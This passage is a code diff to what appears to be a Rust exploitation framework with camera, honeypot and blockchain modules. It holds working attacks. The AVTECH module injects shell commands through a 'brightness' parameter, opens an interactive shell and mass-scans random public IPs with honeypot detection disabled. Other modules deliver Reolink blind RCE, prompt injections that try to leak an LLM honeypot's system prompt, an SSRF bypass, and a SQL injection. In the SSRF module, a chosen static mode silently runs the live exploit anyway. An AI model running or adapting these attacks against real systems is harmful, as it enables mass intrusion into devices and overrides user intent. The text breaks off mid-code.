/// key is what the Seeker stores to authenticate in future (and is reused as
/// the MAC key for the audio-switching attack, §5.3.3).
pub fn build_account_key(k: &[u8; 16]) -> Result<([u8; 16], [u8; 16])> {
let mut ak = [0u8; 16];
{
use rand::RngExt;
rand::rng().fill(&mut ak);
}
ak[0] = ACCOUNT_KEY_TYPE;
let encrypted = crypto::aes128_ecb_encrypt_block(k, &ak)?;
Ok((ak, encrypted))
}
/// Build the Additional Data packet that writes a personalized device name
/// (Fast Pair §3.3.5, AOSP `AdditionalDataEncoder`):
/// `HMAC-SHA256(key, nonce || ciphertext)[0..8] || nonce[8] || ciphertext`,
/// where `ciphertext` is the Fast Pair AES-CTR of the name (see
/// `crypto::fast_pair_ctr`). HMAC and encryption both use the session/account `key`.
pub fn build_additional_data(key: &[u8; 16], name: &str) -> Result<Vec<u8>> {
let mut nonce = [0u8; 8];
{
use rand::RngExt;
rand::rng().fill(&mut nonce);
}
let ciphertext = crypto::fast_pair_ctr(key, &nonce, name.as_bytes())?;
let mut mac_input = Vec::with_capacity(8 + ciphertext.len());
mac_input.extend_from_slice(&nonce);
mac_input.extend_from_slice(&ciphertext);
let tag = crypto::hmac_sha256(key, &mac_input);
let mut packet = Vec::with_capacity(8 + 8 + ciphertext.len());
packet.extend_from_slice(&tag[..8]);
packet.extend_from_slice(&nonce);
packet.extend_from_slice(&ciphertext);
Ok(packet)
}
@@ -52,7 +52,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let mut outcome = ModuleOutcome::ok();
match client.get(&url).send().await {
Ok(r) => {
let body = match r.text().await {
let body = match crate::utils::network::read_http_body_text_capped(r, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
Ok(t) => t,
Err(e) => {
tracing::warn!("Failed to read response body: {}", e);
@@ -65,7 +65,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
return Ok(ModuleOutcome::ok());
}
};
let body = match resp.text().await {
let body = match crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
Ok(t) => t,
Err(e) => {
tracing::warn!("Failed to read response body: {}", e);
@@ -39,7 +39,7 @@ async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
.append_pair("action", "Set")
.append_pair("brightness", "1;echo_CVE7029;");
let resp = client.get(url).send().await.context("send")?;
let body = resp.text().await.context("read body")?;
let body = crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await.context("read body")?;
Ok(body.contains("echo_CVE7029"))
}
@@ -99,7 +99,7 @@ async fn exec_cmd(client: &Client, base: &str, cmd: &str) -> Result<String> {
.append_pair("action", "Set")
.append_pair("brightness", &payload);
let response = client.get(url).send().await.context("send")?;
response.text().await.context("read body")
crate::utils::network::read_http_body_text_capped(response, crate::utils::safe_io::DEFAULT_BODY_CAP).await.context("read body")
}
/// Quick vulnerability check for mass scanning
@@ -112,7 +112,7 @@ async fn quick_check(client: &Client, ip: &str) -> bool {
client.get(&url).send()
).await {
Ok(Ok(resp)) => {
if let Ok(body) = resp.text().await {
if let Ok(body) = crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
body.contains("echo_CVE7029")
} else {
false
@@ -125,7 +125,7 @@ async fn quick_check(client: &Client, ip: &str) -> bool {
/// Mass scan mode
/// API prompts:
/// - "exclude_ranges" : y/n exclude reserved ranges (default: y)
async fn run_mass_scan_legacy() -> Result<()> {
async fn run_mass_scan_legacy() -> Result<Vec<Finding>> {
display_banner();
crate::mprintln!("{}", "[*] Mass Scan Mode: 0.0.0.0/0".yellow().bold());
crate::mprintln!("{}", "[*] Honeypot detection: DISABLED".yellow());
@@ -149,7 +149,10 @@ async fn run_mass_scan_legacy() -> Result<()> {
let semaphore = Arc::new(Semaphore::new(MASS_SCAN_CONCURRENCY));
let checked = Arc::new(AtomicUsize::new(0));
let found = Arc::new(AtomicUsize::new(0));
// Collect confirmed hits so they are returned as Findings instead of only
// being printed and counted (previously every mass-scan hit was lost).
let hits: Arc<std::sync::Mutex<Vec<Finding>>> = Arc::new(std::sync::Mutex::new(Vec::new()));
let c = checked.clone();
let f = found.clone();
tokio::spawn(async move {
@@ -169,7 +172,7 @@ async fn run_mass_scan_legacy() -> Result<()> {
loop {
if cancel.is_cancelled() {
crate::mprintln!("{}", "[*] Mass scan interrupted by user.".yellow());
break Ok(());
break;
}
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
@@ -177,6 +180,7 @@ async fn run_mass_scan_legacy() -> Result<()> {
let cl = client.clone();
let chk = checked.clone();
let fnd = found.clone();
let hits_c = hits.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
@@ -185,12 +189,26 @@ async fn run_mass_scan_legacy() -> Result<()> {
if quick_check(&cl, &ip_str).await {
crate::mprintln!("{}", format!("[+] VULNERABLE: {}", ip_str).green().bold());
fnd.fetch_add(1, Ordering::Relaxed);
if let Ok(mut v) = hits_c.lock() {
v.push(Finding {
target: ip_str.clone(),
kind: FindingKind::Vulnerable,
message: format!("AVTECH camera {} vulnerable to CVE-2024-7029 (Factory.cgi command injection)", ip_str),
data: Some(serde_json::json!({"cve": "CVE-2024-7029", "host": ip_str})),
});
}
}
chk.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
// Drain any spawned tasks that may still be holding the only remaining
// semaphore permits, then return all collected findings.
let _ = Arc::clone(&semaphore).acquire_many_owned(MASS_SCAN_CONCURRENCY as u32).await;
let findings = hits.lock().map(|v| v.clone()).unwrap_or_default();
Ok(findings)
}
/// Entry point required for RouterSploit-inspired dispatch system
@@ -203,8 +221,10 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
.as_single()
.context("cve_2024_7029_avtech_camera requires a single-host target")?;
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
run_mass_scan_legacy().await?;
Ok(ModuleOutcome::ok())
let findings = run_mass_scan_legacy().await?;
let mut outcome = ModuleOutcome::ok();
outcome.findings = findings;
Ok(outcome)
} else {
display_banner();
crate::mprintln!("{}", format!("[*] Target: {}", target).yellow());
@@ -252,9 +272,16 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
message: format!("AVTECH camera {} vulnerable to CVE-2024-7029 (Factory.cgi command injection)", url),
data: Some(serde_json::json!({"cve": "CVE-2024-7029", "url": url})),
});
// Interactive shell is CLI-only; in API mode this path is not normally reached
// because api_mode users supply a "command" prompt instead of an interactive shell.
interactive_shell(&client, &url).await?;
// Interactive shell is CLI-only. In batch/mass-scan or API mode
// interactive_shell() returns Err; previously `?` propagated that
// and dropped the Vulnerable finding we just pushed. Only enter the
// shell in genuine interactive mode, and never let its error abort
// run() / discard findings — just log it.
if !crate::utils::is_batch_mode() && !crate::config::get_module_config().api_mode {
if let Err(e) = interactive_shell(&client, &url).await {
crate::mprintln!("{}", format!("[-] Interactive shell ended: {}", e).red());
}
}
} else {
crate::mprintln!("{}", format!("[-] {} is not vulnerable", url).red());
}
@@ -10,7 +10,7 @@ use anyhow::{Context, Result};
use colored::*;
use std::time::Duration;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use crate::module_info::{ModuleInfo, ModuleRank, CheckResult};
use crate::module_info::{ModuleInfo, ModuleRank};
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
use crate::utils::{cfg_prompt_default, cfg_prompt_port, normalize_target};
@@ -53,23 +53,7 @@ async fn rtsp_describe(host: &str, port: u16) -> Result<String> {
Ok(String::from_utf8_lossy(slice).into_owned())
}
pub async fn check(ctx: &ModuleCtx) -> CheckResult {
let target = match ctx.target.as_single() { Some(t) => t, None => return CheckResult::Error("check expects a single-host target".into()) };
let host = match target.split_once(':') {
Some((h, _)) => h,
None => target,
};
match rtsp_describe(host, DEFAULT_PORT).await {
Ok(body) if body.starts_with("RTSP/1.0 200") => {
CheckResult::Vulnerable("RTSP DESCRIBE succeeded without auth".to_string())
}
Ok(body) => {
let first_line = body.lines().next().unwrap_or("(empty response)");
CheckResult::NotVulnerable(format!("RTSP response: {}", first_line))
}
Err(e) => CheckResult::Error(format!("{:#}", e)),
}
}
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx.target.as_single().context(" requires a single-host target")?;
@@ -110,4 +94,4 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
Ok(outcome)
}
crate::register_native_module!(crate::module::Category::Exploits, "cameras/galayou_g2_rtsp_bypass_cve_2025_9983", native, has_check);
crate::register_native_module!(crate::module::Category::Exploits, "cameras/galayou_g2_rtsp_bypass_cve_2025_9983", native);
@@ -67,7 +67,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
}
};
let status = resp.status().as_u16();
let body_text = match resp.text().await {
let body_text = match crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
Ok(t) => t,
Err(e) => {
tracing::warn!("Failed to read response body: {}", e);
@@ -64,17 +64,31 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
.context("Failed to send request")?;
let status = res.status();
let text = res.text().await.context("read body")?;
let text = crate::utils::network::read_http_body_text_capped(res, crate::utils::safe_io::DEFAULT_BODY_CAP).await.context("read body")?;
if status.is_success() {
crate::mprintln!("{} Request sent successfully (HTTP {}).", "[+]".green(), status);
crate::mprintln!("{} Response: {}", "[*]".blue(), text);
crate::mprintln!("{} Note: This RCE is often blind. Check your listener or device behavior.", "[*]".yellow());
crate::mprintln!("{} Note: This RCE is blind. Check your listener or device behavior.", "[*]".yellow());
// A 2xx response to the TestEmail request only confirms the endpoint
// accepted the call, NOT that the injected command actually executed
// (patched/benign devices also return success). Without an out-of-band
// execution oracle we cannot confirm RCE, so record this as an
// unconfirmed Note rather than a confirmed Vulnerable finding.
outcome.findings.push(Finding {
target: base_url.clone(),
kind: FindingKind::Vulnerable,
message: format!("Reolink camera CVE-2019-11001 - RCE payload delivered via TestEmail command injection"),
data: Some(serde_json::json!({ "host": target_ip, "command": cmd })),
kind: FindingKind::Note,
message: format!(
"Reolink camera CVE-2019-11001 - TestEmail command-injection payload delivered (HTTP {}); blind RCE UNCONFIRMED (verify out-of-band)",
status
),
data: Some(serde_json::json!({
"cve": "CVE-2019-11001",
"host": target_ip,
"command": cmd,
"status": status.as_u16(),
"confirmed": false,
})),
});
} else {
crate::mprintln!("{} Request failed (HTTP {}). check credentials or target.", "[-]".red(), status);
@@ -125,10 +125,9 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
crate::mprintln!("{}", "[*] Getting model name and software version...".cyan());
let version_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":116}}", target);
ctx.rate_limit(&target).await;
let version_text = client
let version_text = crate::utils::network::read_http_body_text_capped(client
.get(&version_url)
.send().await.context("send")?
.text().await
.send().await.context("send")?, crate::utils::safe_io::DEFAULT_BODY_CAP).await
.context("Failed to fetch version")?;
let model = version_text
@@ -164,10 +163,9 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
target
);
ctx.rate_limit(&target).await;
let config_text = client
let config_text = crate::utils::network::read_http_body_text_capped(client
.get(&config_url)
.send().await.context("send")?
.text().await
.send().await.context("send")?, crate::utils::safe_io::DEFAULT_BODY_CAP).await
.context("Failed to fetch config")?;
// XML reader with trimmed text
+39 -41
View File
@@ -4,7 +4,7 @@
use anyhow::{Context, Result};
use colored::*;
use std::time::Duration;
use crate::module_info::{ModuleInfo, ModuleRank, CheckResult};
use crate::module_info::{ModuleInfo, ModuleRank};
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
use crate::utils::{cfg_prompt_port, normalize_target};
@@ -24,27 +24,7 @@ pub fn info() -> ModuleInfo {
}
}
pub async fn check(ctx: &ModuleCtx) -> CheckResult {
let target = match ctx.target.as_single() { Some(t) => t, None => return CheckResult::Error("check expects a single-host target".into()) };
let host = match target.split_once(':') {
Some((h, _)) => h,
None => target,
};
let addr = format!("{}:{}", host, DEFAULT_PORT);
match crate::utils::network::tcp_connect_str(&addr, Duration::from_secs(3)).await {
Ok(stream) => {
let peer = match stream.peer_addr() {
Ok(p) => p.to_string(),
Err(e) => format!("<peer_addr error: {}>", e),
};
CheckResult::Vulnerable(format!(
"Xiongmai control port {} open on {} (peer={})",
DEFAULT_PORT, host, peer
))
}
Err(e) => CheckResult::NotVulnerable(format!("connect failed: {}", e)),
}
}
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx.target.as_single().context("xiongmai_xm530 requires a single-host target")?;
@@ -63,25 +43,43 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
match tokio::time::timeout(Duration::from_secs(TIMEOUT_SECS), s.read(&mut buf)).await {
Ok(Ok(n)) => {
crate::mprintln!("{} {} bytes", "[*] Response:".cyan(), n);
crate::workspace::track_host(&normalized, None, Some("Xiongmai XM530")).await;
// Validate the reply against the proprietary Xiongmai/Sofia (DVRIP) 20-byte
// control header before claiming a detection. A bare connection-accept that
// yields a zero-length read, or any short/foreign reply, is NOT a Xiongmai
// device — emitting a finding for those guarantees false positives across a
// mass scan. The device echoes a 20-byte header whose first byte is the 0xFF
// protocol magic, mirroring the probe we sent.
let resp = &buf[..n];
let is_xiongmai = n >= 20 && resp[0] == 0xFF && (resp[1] == 0x00 || resp[1] == 0x01);
if is_xiongmai {
crate::workspace::track_host(&normalized, None, Some("Xiongmai XM530")).await;
outcome.findings.push(Finding {
target: normalized.clone(),
kind: FindingKind::Vulnerable,
message: format!("Xiongmai XM530 detected at {}", normalized),
data: Some(serde_json::json!({
"host": normalized,
"label": "Xiongmai XM530",
})),
});
outcome.findings.push(Finding {
target: normalized.clone(),
kind: FindingKind::Vulnerable,
message: format!("Xiongmai XM530 detected at {}", normalized),
data: Some(serde_json::json!({
"host": normalized,
"label": "Xiongmai XM530",
"resp_len": n,
})),
});
} else if n > 0 {
// Something replied but it does not match the Xiongmai control header.
// Record it only as an unconfirmed note so it is not counted as a hit.
outcome.findings.push(Finding {
target: normalized.clone(),
kind: FindingKind::Note,
message: format!(
"Unconfirmed: host on {} replied to Xiongmai probe but response did not match the XM530 control header",
normalized
),
data: Some(serde_json::json!({
"host": normalized,
"resp_len": n,
})),
});
}
crate::mprintln!("{}", crate::native::hex::encode(&buf[..n.min(64)]));
}
Ok(Err(e)) => crate::mprintln!("{} read error: {}", "[-]".red(), e),
@@ -94,4 +92,4 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
Ok(outcome)
}
crate::register_native_module!(crate::module::Category::Exploits, "cameras/xiongmai_xm530", native, has_check);
crate::register_native_module!(crate::module::Category::Exploits, "cameras/xiongmai_xm530", native);
@@ -68,13 +68,15 @@ pub fn info() -> ModuleInfo {
}
}
/// Returns the list of leak signals actually observed in the LLM response.
/// An empty Vec means the injection was delivered but no leak was confirmed.
fn live_inject(
host: String,
port: u16,
username: String,
password: String,
injection: String,
) -> Result<()> {
) -> Result<Vec<String>> {
let addr = format!("{}:{}", host, port);
crate::mprintln!("{}", format!("[*] Connecting to {}@{}:{}", username, host, port).cyan());
@@ -131,10 +133,10 @@ fn live_inject(
crate::mprintln!("{}", text);
crate::mprintln!("{}", "-".repeat(60).dimmed());
let mut verdict = Vec::new();
if text.contains("You are simulating") { verdict.push("system context directly echoed"); }
if text.to_lowercase().contains("hostname is") { verdict.push("hostname field leaked"); }
if text.to_lowercase().contains("username is") { verdict.push("username field leaked"); }
let mut verdict: Vec<String> = Vec::new();
if text.contains("You are simulating") { verdict.push("system context directly echoed".to_string()); }
if text.to_lowercase().contains("hostname is") { verdict.push("hostname field leaked".to_string()); }
if text.to_lowercase().contains("username is") { verdict.push("username field leaked".to_string()); }
if !verdict.is_empty() {
crate::mprintln!(
@@ -150,7 +152,7 @@ fn live_inject(
);
}
Ok(())
Ok(verdict)
}
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
@@ -202,18 +204,42 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let p = password.clone();
let inj = injection.clone();
ctx.rate_limit(&normalized).await;
tokio::task::spawn_blocking(move || live_inject(h, port, u, p, inj))
let verdict = tokio::task::spawn_blocking(move || live_inject(h, port, u, p, inj))
.await
.context("spawn_blocking join error")??;
crate::workspace::track_host(&normalized, None, Some("Cowrie LLM prompt injection")).await;
let mut outcome = ModuleOutcome::ok();
outcome.findings.push(Finding {
target: normalized.clone(),
kind: FindingKind::Vulnerable,
message: format!("Cowrie LLM prompt injection delivered to {}:{} (injection index {})", normalized, port, inj_idx),
data: Some(serde_json::json!({"injection": injection, "port": port})),
});
if !verdict.is_empty() {
// The LLM actually echoed confidential system context (hostname /
// username / system prompt) back to us — confirmed leak.
outcome.findings.push(Finding {
target: normalized.clone(),
kind: FindingKind::Vulnerable,
message: format!(
"Cowrie LLM prompt injection leaked system context at {}:{} (injection index {}): {}",
normalized, port, inj_idx, verdict.join(", ")
),
data: Some(serde_json::json!({
"injection": injection,
"port": port,
"leak_signals": verdict,
})),
});
} else {
// Injection was delivered and the SSH session succeeded, but no leak
// was observed. Record an unconfirmed Note rather than a bogus
// Vulnerable finding for every reachable cowrie endpoint.
outcome.findings.push(Finding {
target: normalized.clone(),
kind: FindingKind::Note,
message: format!(
"Cowrie LLM prompt injection delivered to {}:{} (injection index {}); no leak observed (unconfirmed)",
normalized, port, inj_idx
),
data: Some(serde_json::json!({"injection": injection, "port": port})),
});
}
Ok(outcome)
}
+60 -20
View File
@@ -118,7 +118,9 @@ fn cowrie_communication_allowed(ip_str: &str) -> bool {
true
}
fn run_static_mode() {
/// Runs the static blocklist simulation and returns the list of addresses
/// that bypass cowrie's blocklist, so the caller can record them as findings.
fn run_static_mode() -> Vec<String> {
crate::mprintln!("{}", "[*] Mode: static — simulating cowrie's blocklist logic locally".cyan());
crate::mprintln!();
crate::mprintln!("{}", "[*] Absent SSRF-blocking prefixes:".cyan());
@@ -186,14 +188,19 @@ fn run_static_mode() {
} else {
crate::mprintln!("{}", "[-] No bypasses found — cowrie's blocklist may have been patched.".yellow());
}
bypasses.iter().map(|s| s.to_string()).collect()
}
/// Runs the live SSRF attempt. Returns Ok(true) only when cowrie demonstrably
/// attempted the outbound IPv6 connection (positive evidence in stdout/stderr);
/// Ok(false) when the response was ambiguous / no outbound attempt was seen.
fn run_live_mode(
host: String,
port: u16,
username: String,
password: String,
) -> Result<()> {
) -> Result<bool> {
let addr = format!("{}:{}", host, port);
crate::mprintln!("{}", format!("[*] Mode: live — connecting to {}@{}:{}", username, host, port).cyan());
@@ -228,23 +235,30 @@ fn run_live_mode(
if let Err(e) = chan.stderr().read_to_string(&mut stderr_buf) { tracing::debug!("read stderr failed: {e}"); }
if let Err(e) = chan.close() { tracing::debug!("channel close failed: {e}"); }
crate::mprintln!("{}", format!(" stdout: {:?}", &stdout[..stdout.len().min(500)]).dimmed());
crate::mprintln!("{}", format!(" stderr: {:?}", &stderr_buf[..stderr_buf.len().min(500)]).dimmed());
crate::mprintln!("{}", format!(" stdout: {:?}", stdout.chars().take(500).collect::<String>()).dimmed());
crate::mprintln!("{}", format!(" stderr: {:?}", stderr_buf.chars().take(500).collect::<String>()).dimmed());
if stderr_buf.contains("Trying fd00::1")
// Positive evidence that cowrie actually attempted the outbound IPv6
// connection. A non-empty stdout alone is NOT proof (cowrie's emulated
// shell can echo arbitrary text), so require curl's connection-phase
// markers that only appear when the outbound socket attempt fires.
let outbound_attempted = stderr_buf.contains("Trying fd00::1")
|| stderr_buf.contains("Connected to")
|| !stdout.is_empty()
{
|| stderr_buf.contains("Trying [fd00::1]")
|| stdout.contains("Trying fd00::1")
|| stdout.contains("Connected to");
if outbound_attempted {
crate::mprintln!(
"{}",
"[+] cowrie attempted the outbound IPv6 connection.".red().bold()
);
crate::mprintln!("{}", " SSRF bypass confirmed — fd00::1 passed communication_allowed().".red());
} else {
crate::mprintln!("{}", "[~] Ambiguous response. Check cowrie logs.".yellow());
crate::mprintln!("{}", "[~] Ambiguous response — no outbound-connection evidence. Check cowrie logs.".yellow());
}
Ok(())
Ok(outbound_attempted)
}
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
@@ -256,33 +270,59 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
print_banner();
}
let normalized = normalize_target(target)?;
let mut outcome = ModuleOutcome::ok();
// Default to live execution — user requested all dry/static runs become real.
let mode = cfg_prompt_default("mode", "Mode [static/live]", "live").await?;
if mode.trim() == "static" {
crate::mprintln!("{}", "[!] mode=static requested — running live exploit instead.".yellow());
run_static_mode();
crate::mprintln!("{}", "[!] mode=static requested — running static analysis then live exploit.".yellow());
let static_bypasses = run_static_mode();
// Record the locally-proven blocklist gaps as a Note (this is a
// confirmed property of cowrie's blocklist, not of the remote host).
if !static_bypasses.is_empty() {
outcome.findings.push(Finding {
target: normalized.clone(),
kind: FindingKind::Note,
message: format!(
"Cowrie SSRF blocklist gap: {} address(es) bypass communication_allowed() (fc00::/7, fe80::/10, ::ffff:0:0/96 absent)",
static_bypasses.len()
),
data: Some(serde_json::json!({"bypass_addresses": static_bypasses})),
});
}
// Fall through to live exploitation regardless.
}
let normalized = normalize_target(target)?;
let port = cfg_prompt_port("ssh_port", "Cowrie SSH port", DEFAULT_SSH_PORT).await?;
let username = cfg_prompt_default("username", "SSH username", "root").await?;
let password = cfg_prompt_default("password", "SSH password", "1234").await?;
let h = normalized.clone();
ctx.rate_limit(&normalized).await;
tokio::task::spawn_blocking(move || run_live_mode(h, port, username, password))
let outbound_confirmed = tokio::task::spawn_blocking(move || run_live_mode(h, port, username, password))
.await
.context("spawn_blocking join error")??;
crate::workspace::track_host(&normalized, None, Some("Cowrie IPv6 SSRF bypass")).await;
let mut outcome = ModuleOutcome::ok();
outcome.findings.push(Finding {
target: normalized.clone(),
kind: FindingKind::Vulnerable,
message: format!("Cowrie IPv6 SSRF / DNS rebinding bypass attempted against {}:{}", normalized, port),
data: Some(serde_json::json!({"port": port, "test_addresses": BYPASS_ADDRESSES})),
});
if outbound_confirmed {
// Cowrie demonstrably fired the outbound IPv6 connection — SSRF proven.
outcome.findings.push(Finding {
target: normalized.clone(),
kind: FindingKind::Vulnerable,
message: format!("Cowrie IPv6 SSRF confirmed against {}:{} — outbound connection to fd00::1 attempted", normalized, port),
data: Some(serde_json::json!({"port": port, "test_addresses": BYPASS_ADDRESSES})),
});
} else {
// SSH command was delivered but no outbound-connection evidence was
// observed; do not claim a confirmed SSRF for every reachable cowrie.
outcome.findings.push(Finding {
target: normalized.clone(),
kind: FindingKind::Note,
message: format!("Cowrie IPv6 SSRF payload delivered to {}:{} but outbound connection unconfirmed", normalized, port),
data: Some(serde_json::json!({"port": port, "test_addresses": BYPASS_ADDRESSES})),
});
}
Ok(outcome)
}
@@ -14,6 +14,36 @@ use crate::utils::exploit_helper as eh;
const DEFAULT_PORT: u16 = 8545;
// CVE-2026-22862 is fixed in go-ethereum v1.13.15 and later. Any node
// reporting a strictly lower version is considered vulnerable; equal or
// newer is patched. (Conservative: if we cannot parse a version, we do NOT
// claim vulnerable — we emit an informational fingerprint instead.)
const FIXED_VERSION: (u64, u64, u64) = (1, 13, 15);
/// Extract the semantic version from a Geth clientVersion string such as
/// `Geth/v1.13.14-stable-...` or `"result":"Geth/v1.13.14-stable/linux-amd64/go1.21"`.
/// Returns (major, minor, patch) if a `Geth/vX.Y.Z` token is present.
fn parse_geth_version(s: &str) -> Option<(u64, u64, u64)> {
// Find the "Geth/v" marker (Geth always prefixes its version with this).
let idx = s.find("Geth/v")?;
let rest = &s[idx + "Geth/v".len()..];
// Take the leading numeric.dotted portion (digits and dots only).
let ver: String = rest
.chars()
.take_while(|c| c.is_ascii_digit() || *c == '.')
.collect();
let mut parts = ver.split('.');
let major = parts.next()?.parse::<u64>().ok()?;
let minor = parts.next().unwrap_or("0").parse::<u64>().ok()?;
let patch = parts.next().unwrap_or("0").parse::<u64>().ok()?;
Some((major, minor, patch))
}
/// True if `v` is strictly older than the fixed release (i.e. vulnerable).
fn is_vulnerable_version(v: (u64, u64, u64)) -> bool {
v < FIXED_VERSION
}
pub fn info() -> ModuleInfo {
ModuleInfo {
name: "Geth DoS — CVE-2026-22862".to_string(),
@@ -59,7 +89,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
return Ok(ModuleOutcome::ok());
}
};
let body_text = match resp.text().await {
let body_text = match crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
Ok(t) => t,
Err(e) => {
tracing::warn!("Failed to read response body: {}", e);
@@ -69,26 +99,57 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let mut outcome = ModuleOutcome::ok();
if body_text.contains("Geth") {
// Identifying as Geth is NOT sufficient — patched nodes also identify
// as Geth. Parse the version and only assert vulnerability when it is
// strictly older than the fixed release. If the version cannot be
// parsed, emit an informational fingerprint (Note) instead of a
// false-positive Vulnerable finding.
let version = parse_geth_version(&body_text);
let version_str = version
.map(|(a, b, c)| format!("{}.{}.{}", a, b, c))
.unwrap_or_else(|| "unknown".to_string());
let payload = serde_json::json!({
"host": host, "port": port,
"version_response": body_text.chars().take(256).collect::<String>(),
"parsed_version": version_str,
"fixed_version": format!("{}.{}.{}", FIXED_VERSION.0, FIXED_VERSION.1, FIXED_VERSION.2),
"cve": "CVE-2026-22862",
});
eh::report_vulnerable(
&host,
port,
"CVE-2026-22862",
"Geth JSON-RPC client identified — verify version vs advisory manually",
payload.clone(),
"exploits/crypto/geth_dos_cve_2026_22862",
)
.await;
outcome.findings.push(Finding {
target: host.clone(),
kind: FindingKind::Vulnerable,
message: format!("CVE-2026-22862 ({}:{}): Geth JSON-RPC identified — verify version manually", host, port),
data: Some(payload),
});
match version {
Some(v) if is_vulnerable_version(v) => {
eh::report_vulnerable(
&host,
port,
"CVE-2026-22862",
&format!("Geth {} is older than the fixed {}.{}.{} — vulnerable", version_str, FIXED_VERSION.0, FIXED_VERSION.1, FIXED_VERSION.2),
payload.clone(),
"exploits/crypto/geth_dos_cve_2026_22862",
)
.await;
outcome.findings.push(Finding {
target: host.clone(),
kind: FindingKind::Vulnerable,
message: format!("CVE-2026-22862 ({}:{}): Geth {} is below fixed {}.{}.{}", host, port, version_str, FIXED_VERSION.0, FIXED_VERSION.1, FIXED_VERSION.2),
data: Some(payload),
});
}
Some(_) => {
// Parsed and at/above the fixed release — patched, not vulnerable.
eh::report_not_vulnerable(&host, port, &format!("Geth {} is at or above fixed {}.{}.{}", version_str, FIXED_VERSION.0, FIXED_VERSION.1, FIXED_VERSION.2));
}
None => {
// Geth fingerprint present but version unparseable — record an
// informational Note for manual review, NOT a Vulnerable finding.
eh::report_not_vulnerable(&host, port, "Geth JSON-RPC identified but version unparseable — verify manually");
outcome.findings.push(Finding {
target: host.clone(),
kind: FindingKind::Note,
message: format!("CVE-2026-22862 ({}:{}): Geth JSON-RPC identified, version unparseable — unconfirmed, verify manually", host, port),
data: Some(payload),
});
}
}
} else {
eh::report_not_vulnerable(&host, port, "not Geth");
}
+57 -5
View File
@@ -142,7 +142,7 @@ async fn mysql_handshake(stream: &mut TcpStream) -> Result<u8> {
anyhow::bail!("No response to handshake");
}
if ok.first().copied() == Some(0xFF) {
anyhow::bail!("Auth error: {:?}", &ok[..ok.len().min(16)]);
anyhow::bail!("Auth error: {:?}", String::from_utf8_lossy(&ok[..ok.len().min(16)]));
}
Ok(2)
}
@@ -241,19 +241,71 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
crate::mprintln!("{}", format!(" Decoded field names: {:?}", names2).dimmed());
drop(s2);
if !names2.is_empty() || pkts2.len() > 1 {
// A benign MySQL server (or any MySQL-protocol honeypot) answers a
// COM_FIELD_LIST for a real table with one or more field-definition
// packets, so "got any data back" is NOT proof of injection. To confirm
// the PRAGMA argument was actually overridden by `sqlite_master)--`, the
// injected response must DIFFER from the benign baseline in a way that
// only the injected query could produce: either it returns column names
// the benign table did not (the sqlite_master schema columns such as
// type/name/tbl_name/rootpage/sql), or it yields a materially different
// packet/field shape than the baseline. If the two responses look the
// same, the server simply field-listed the literal (non-injectable)
// table name and we must NOT claim injection.
let baseline_cols: std::collections::HashSet<&str> =
names1.iter().map(|s| s.as_str()).collect();
let new_cols: Vec<&String> = names2
.iter()
.filter(|c| !baseline_cols.contains(c.as_str()))
.collect();
// sqlite_master's table_info columns; presence of these (absent from the
// benign baseline) is a strong positive marker that the PRAGMA argument
// was overridden.
const SQLITE_MASTER_MARKERS: &[&str] =
&["type", "name", "tbl_name", "rootpage", "sql"];
let has_schema_marker = new_cols
.iter()
.any(|c| SQLITE_MASTER_MARKERS.contains(&c.to_lowercase().as_str()));
let differs_from_baseline =
!new_cols.is_empty() || names2 != names1 || pkts2.len() != pkts1.len();
if has_schema_marker || (differs_from_baseline && names1.is_empty() && !names2.is_empty()) {
crate::mprintln!();
crate::mprintln!("{}", "[+] CONFIRMED: server returned data for the injected query.".red().bold());
crate::mprintln!("{}", "[+] CONFIRMED: injected query returned schema data absent from the benign baseline.".red().bold());
crate::mprintln!("{}", " PRAGMA table_info() argument was overridden — injection proved.".red());
outcome.findings.push(Finding {
target: normalized.clone(),
kind: FindingKind::Vulnerable,
message: format!("Dionaea MySQL COM_FIELD_LIST PRAGMA injection confirmed at {}:{}", normalized, port),
data: Some(serde_json::json!({"port": port, "service": "mysql", "decoded_fields": names2})),
data: Some(serde_json::json!({
"port": port,
